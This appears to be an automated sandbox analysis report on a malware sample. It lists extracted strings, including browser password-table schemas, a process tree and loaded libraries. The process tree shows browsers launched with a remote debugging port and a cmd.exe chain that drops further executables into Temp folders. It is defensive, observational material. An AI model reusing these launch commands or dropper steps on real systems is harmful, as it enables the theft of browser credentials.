Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1779438530.000000001D419000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1689476294.000000001D425000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747925477.0000000005536000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2748767599.000000000551B000.00000004.00000800.00020000.00000000.sdmp, DHIDHIEGIIIECAKEBFBA.0.dr, EHDGIJJDGCBKFIDHIEBK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2030889962.000000001D524000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037598070.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsCAEHDBAAEC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2072,i,6352660947356166951,12031086605631171018,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2284,i,12587034906761633398,4416084436642061147,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6256 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCAEHDBAAEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCAEHDBAAEC.exe "C:\Users\user\DocumentsCAEHDBAAEC.exe"
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5988 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe "C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCAEHDBAAEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2072,i,6352660947356166951,12031086605631171018,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCAEHDBAAEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2284,i,12587034906761633398,4416084436642061147,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6256 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5988 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCAEHDBAAEC.exe "C:\Users\user\DocumentsCAEHDBAAEC.exe"
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe "C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: schannel.dll
